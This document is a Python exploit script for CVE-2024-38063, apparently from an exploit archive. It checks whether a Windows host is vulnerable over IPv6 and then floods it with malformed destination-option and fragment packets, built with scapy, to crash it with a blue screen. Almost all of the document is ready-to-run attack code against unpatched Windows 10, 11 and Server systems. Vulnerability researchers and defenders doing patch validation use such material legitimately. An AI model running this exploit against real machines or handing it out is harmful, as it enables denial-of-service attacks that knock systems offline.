Windows TCP/IP – RCE Checker and Denial of Service
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Exploit Title: Windows IPv6 CVE-2024-38063 Checker and Denial-Of-Service # Date: 2024-08-07 # Exploit Author: Photubias # Vendor Homepage: https://microsoft.com # Vendor Advisory: [1] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38063 # Version: Windows 10, 11 <10.0.26100.1457 and Server 2016-2019-2022 <10.0.17763.6189 # Tested on: Windows 11 23H2 and Windows Server 2022 # CVE: CVE-2024-38063 import os, subprocess, re, time, sys ## Variables sDstIP = 'fe80::78b7:6283:49ad:c565' ## Placeholder if len(sys.argv) > 1: sDstIP = sys.argv[1] ## Please provide an argument sDstMAC = '00:0C:29:55:E1:C8' ## Not required, will try to get the MAC via Neighbor Discovery iBatches = 20 iCorruptions = 20 ## How many times do we want to corrupt the tcpip.sys memory per batch try: print('--- Loading Scapy, might take some time ...') from scapy.config import conf conf.ipv6_enabled = False import scapy.all as scapy scapy.conf.verb = 0 except: print('Error while loading scapy, please run "pip install scapy"') exit(1) import logging logging.getLogger('scapy.runtime').setLevel(logging.ERROR) def selectInterface(): #adapter[] = npfdevice, ip, mac def getAllInterfaces(): lstInterfaces=[] if os.name == 'nt': proc = subprocess.Popen('getmac /NH /V /FO csv | FINDSTR /V /I disconnected', shell=True, stdout=subprocess.PIPE) for bInterface in proc.stdout.readlines(): lstInt = bInterface.split(b',') sAdapter = lstInt[0].strip(b'"').decode() sDevicename = lstInt[1].strip(b'"').decode() sMAC = lstInt[2].strip(b'"').decode().lower().replace('-', ':') sWinguID = lstInt[3].strip().strip(b'"').decode()[-38:] proc = subprocess.Popen('netsh int ipv6 show addr "{}" | FINDSTR /I Address'.format(sAdapter), shell=True, stdout=subprocess.PIPE) try: sIP = re.findall(r'[\w:]+:+[\w:]+', proc.stdout.readlines()[0].strip().decode())[0] except: sIP = '' if len(sMAC) == 17: lstInterfaces.append([sAdapter, sIP, sMAC, sDevicename, sWinguID]) # When no or bad MAC address (e.g. PPP adapter), do not add else: proc = subprocess.Popen('for i in $(ip address | grep -v "lo" | grep "default" | cut -d":" -f2 | cut -d" " -f2);do echo $i $(ip address show dev $i | grep "inet6 " | cut -d" " -f6 | cut -d"/" -f1) $(ip address show dev $i | grep "ether" | cut -d" " -f6);done', shell=True, stdout=subprocess.PIPE) for bInterface in proc.stdout.readlines(): lstInt = bInterface.strip().split(b' ') try: if len(lstInt[2]) == 17: lstInterfaces.append([lstInt[0].decode(), lstInt[1].decode(), lstInt[2].decode(), '', '']) except: pass return lstInterfaces lstInterfaces = getAllInterfaces() if len(lstInterfaces) > 1: i = 1 for lstInt in lstInterfaces: #array of arrays: adapter, ip, mac, windows devicename, windows guID print('[{}] {} has {} ({})'.format(i, lstInt[2], lstInt[1], lstInt[0])) i += 1 #sAnswer = input('[?] Please select the adapter [1]: ') sAnswer='3' else: sAnswer = None if not sAnswer or sAnswer == '' or not sAnswer.isdigit() or int(sAnswer) >= i: sAnswer = 1 iAnswer = int(sAnswer) - 1 sNPF = lstInterfaces[iAnswer][0] sIP = lstInterfaces[iAnswer][1] sMAC = lstInterfaces[iAnswer][2] if os.name == 'nt': sNPF = r'\Device\NPF_' + lstInterfaces[iAnswer][4] return (sNPF, sIP, sMAC, lstInterfaces[iAnswer][3]) def get_packets(iID, sDstIPv6, sDstMac=None): iFragID = 0xbedead00 + iID oPacket1 = scapy.IPv6(fl=1, hlim=64+iID, dst=sDstIPv6) / scapy.IPv6ExtHdrDestOpt(options=[scapy.PadN(otype=0x81, optdata='bad')]) oPacket2 = scapy.IPv6(fl=1, hlim=64+iID, dst=sDstIPv6) / scapy.IPv6ExtHdrFragment(id=iFragID, m = 1, offset = 0) / 'notalive' oPacket3 = scapy.IPv6(fl=1, hlim=64+iID, dst=sDstIPv6) / scapy.IPv6ExtHdrFragment(id=iFragID, m = 0, offset = 1) if sDstMac: ## Should always be this, it seems sending to 'ff:ff:ff:ff:ff:ff' does not work oPacket1 = scapy.Ether(dst=sDstMac) / oPacket1 oPacket2 = scapy.Ether(dst=sDstMac) / oPacket2 oPacket3 = scapy.Ether(dst=sDstMac) / oPacket3 return [oPacket1, oPacket2, oPacket3] def doIPv6ND(sDstIP, sInt): ## Try to get a MAC address via IPv6 Neighbour Sollicitation sMACResp = None oNeighborSollicitation = scapy.IPv6(dst=sDstIP) / scapy.ICMPv6ND_NS(tgt=sDstIP) / scapy.ICMPv6NDOptSrcLLAddr(lladdr='ff:ff:ff:ff:ff:ff') oResponse = scapy.sr1(oNeighborSollicitation, timeout=5, iface=sInt) if oResponse and scapy.ICMPv6NDOptDstLLAddr in oResponse: sMACResp = oResponse[scapy.ICMPv6NDOptDstLLAddr].lladdr return sMACResp lstInt = selectInterface() ## NPF, IPv6, MAC, Name sMAC = doIPv6ND(sDstIP, lstInt[0]) if sMAC: print(f'[+] Target {sDstIP} is reachable, got MAC Address {sMAC}') sDstMAC = sMAC elif sDstMAC != '': print('[-] Target not responding to Neighbor Sollicitation Packets, using the provided MAC {}'.format(sDstMAC)) else: print('[-] Without a MAC address, this exploit will probably not work') lstPacketsToSend = [] for i in range(iBatches): for j in range(iCorruptions): lstPacketsToSend += get_packets(j, sDstIP, sDstMAC) + get_packets(j, sDstIP, sDstMAC) ## 'send' is Layer3 (let scapy figure out the MAC address), 'sendp' is L2 (MAC address is filled in, much better) print('[i] Verifying vulnerability against IPv6 address {}'.format(sDstIP)) ## Verification first: "ICMPv6ParamProblem" lstResp = scapy.srp1(lstPacketsToSend[0], iface=lstInt[0], timeout=5) if lstResp and scapy.IPv6 in lstResp[0] and scapy.ICMPv6ParamProblem in lstResp[0]: print('[+] Yes, {} is vulnerable and exploitable for CVE-2024-38063'.format(sDstIP)) else: input('[-] Not vulnerable or firewall is enabled. Please verify and rerun or press enter to continue') print('[i] Waiting 10 seconds to let the target cool down (more is better)') time.sleep(10) input('[?] OK, continue to execute the Denial Of Service (BSOD)? Press Ctrl+C to cancel now') ########## Exploit print('[+] Sending {} packets now via interface {} {}'.format(len(lstPacketsToSend), lstInt[0], lstInt[3])) scapy.conf.verb = 1 scapy.sendp(lstPacketsToSend, iface=lstInt[0]) print('[+] All packets are sent, now it takes *exactly* 60 seconds for the target to crash') |